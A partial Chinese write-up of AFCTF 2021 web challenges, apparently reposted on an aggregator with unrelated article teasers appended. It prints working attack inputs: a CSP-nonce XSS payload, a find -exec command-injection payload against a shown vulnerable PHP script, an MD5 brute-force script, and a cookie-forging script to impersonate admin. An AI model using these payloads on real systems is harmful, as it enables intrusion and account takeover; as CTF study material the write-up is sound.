【Web】AFCTF 2021 题解(部分)

embedded/2024/10/18 12:25:34/

目录

BABY_CSP

search

secret

google authenticator


随便做做,环境是NSS上的

BABY_CSP

CSP绕过_script-src 'self-CSDN博客 

CSP指令值

*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次; 

发包,响应头有CSP字段,给了nonce值

 

以变量形式输出flag

payload:

?school=<script nonce="29de6fde0db5686d">alert(flag);</script>

 右键查看源码拿到flag

 

 

访问/www.zip拿到源码

<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {if (($argv[$i] == '&') ||($argv[$i] == '>') ||($argv[$i] == '<') ||($argv[$i] == '(') ||($argv[$i] == ';') ||($argv[$i] == '|')) {if ($i == 0) {goto error;}if (($i == 1) && ($argv[0] == '\\')) {continue;}if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {continue;}error:exit("Input contains prohibited characters!<br>");}
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>

逻辑就是,如果输入检查发现非法字符,并且这些字符不是被合法转义,脚本执行exit,输出错误信息并停止运行。就是不让拼接多条命令,强制要求直接对find命令进行利用

find命令进阶(二):对找到的文件执行操作exec_find 寻找特定目录下的文件并执行-CSDN博客

payload:

/search.php?search=environ -exec cat {} \;

 

secret

 

写脚本爆md5

import hashlib
import itertools
import string# 目标MD5哈希的前6个字符
target = '1af15e'# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits# 密码的最大长度,可以根据实际情况调整
max_length = 6# 爆破密码
def brute_force():for length in range(1, max_length + 1):# itertools.product生成所有可能的密码组合for attempt in itertools.product(charset, repeat=length):# 将密码组合转换为字符串password = ''.join(attempt)# 计算密码的MD5哈希,并取前6个字符hash = hashlib.md5(password.encode()).hexdigest()[:6]# 检查哈希是否与目标匹配if hash == target:return passwordreturn None# 运行爆破函数
password = brute_force()if password:print(f"Found password: {password}")
else:print("Password not found.")

 

先随便注册一个号

 

再去登录

 

点击secret回显只有admin能看

 

 

cookie有一段加密逻辑,笨人整不来整不来,看个乐就好

import requestsdef encrypt(s):res = ""for i in s:if ord(i)%2 == 0:res += chr(ord(i) + 2)else:res += chr(ord(i) - 2)res += "a"return resdef main():url = "http://node4.anna.nssctf.cn:28389/" + "secret.jsp"cookies = {"usr" : encrypt("admin")}res = requests.get(url, cookies=cookies)print(res.text)if __name__ == "__main__":main()

 

google authenticator

神 

[AFCTF 2021]google authenticator-CSDN博客 


http://www.ppmy.cn/embedded/9565.html

相关文章

每日两题4

最小路径和 class Solution { public:int minPathSum(vector<vector<int>>& grid) {int m grid.size(),n grid[0].size();vector<vector<int>> dp(m1,vector<int>(n1,INT_MAX));dp[0][1] dp[1][0] 0;for(int i 1; i < m; i)for(int …

微信小程序酒店选择日期和入住人数(有效果图)

效果图 app.vue onLaunch:function(options){this.defaultcache()}defaultcache(){// 入住信息缓存var arr this.getDateTime();var ReserVation {reservType:0,//1 人数 2日期InCheckin:{},//入离日期peopleArr:[{title:成人,num:2},{title:儿童,num:0},{title:宝子,num:1…

Python-08-程序跳转语句(break、continue)、空语句pass

目录 1、程序跳转语句 2、空语句pass 3、本章小结 1、程序跳转语句 程序跳转语句break用于跳&#xff08;退&#xff09;出循环结构&#xff0c;通常与if一起搭配使用 语法结构 while 表达式1: 执行代码 if 表达式2: break s0 #存储累加和 i1 #&#xff08;…

找到二叉树最大深度(力扣104)

解题思路&#xff1a;分别是用前序遍历和后序遍历&#xff0c;前序遍历就是正常的从上到下求深度&#xff0c;而后续遍历就是从下到上求高度&#xff0c;而高度和深度是互逆的&#xff0c;所以这里采用后续遍历&#xff0c;需要注意的是&#xff0c;最底层是从1开始的&#xff…

YOLO算法改进Backbone系列之MogaNet:

卷积神经网络&#xff08;ConvNets&#xff09;一直是计算机视觉的首选方法。受灵长类视觉系统的启发&#xff0c;卷积层可以对具有区域密集连接和平移等方差约束的观测图像的邻域相关性进行编码。通过交错分层&#xff0c;ConvNets获得了被动增加的感受野&#xff0c;并善于识…

SpringSecurity集成JWT

使用 Spring Security 集成 JWT&#xff08;JSON Web Token&#xff09;身份验证是一种常见的方式来实现基于令牌的身份验证。在 Spring Boot 应用程序中使用 Spring Security 和 JWT&#xff0c;可以创建一个安全、可扩展的身份验证系统。下面是一个示例&#xff0c;展示如何在…

Vue2+ElementUI的el-table实现新增数据行与删除的功能

Vue2ElementUI的el-table实现新增数据行与删除的功能 文章目录 Vue2ElementUI的el-table实现新增数据行与删除的功能1. 代码2. 效果 1. 代码 TableIndex.vue如下 <template><div><div><el-button click"add" class"filter-item" pl…

2024接口自动化测试入门基础知识【建议收藏】

接口自动化测试是指通过编写测试脚本和使用相关工具&#xff0c;对软件系统的接口进行自动化测试的过程。 今天本文从4个方面来介绍接口自动化测试入门基础知识 一、接口自动化测试是什么&#xff1f; 二、接口自动化测试流程&#xff1f; 三、接口自动化测试核心知识点有那些…